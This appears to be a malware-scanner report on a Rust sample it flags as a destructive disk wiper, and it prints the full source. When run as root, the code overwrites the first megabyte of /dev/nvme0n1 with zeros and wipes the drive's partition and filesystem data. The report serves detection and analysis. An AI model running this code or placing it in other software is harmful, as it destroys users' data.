Hostile 92% Download

38-linux-nvme.rs

Destructive block device wipe

Destructive overwrite of a raw block deviceRust OpenOptions opens a block device
SHA-256da61a2d5891e1d90067114ff0c608dc4808c1fe6cd7574e8e821be4580f30bd8

Evidence

Rust OpenOptions opens a block device lines 1–9
1use std::fs::OpenOptions;
2use std::io::Write;
3use std::os::unix::fs::OpenOptionsExt;
4fn main() {
5 if unsafe { libc::geteuid() } != 0 { return; }
6 let mut f = OpenOptions::new().write(true).custom_flags(libc::O_RDWR)
7 .open("/dev/nvme0n1").unwrap();
8 let _ = f.write_all(&[0u8; 1048576]);
9}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.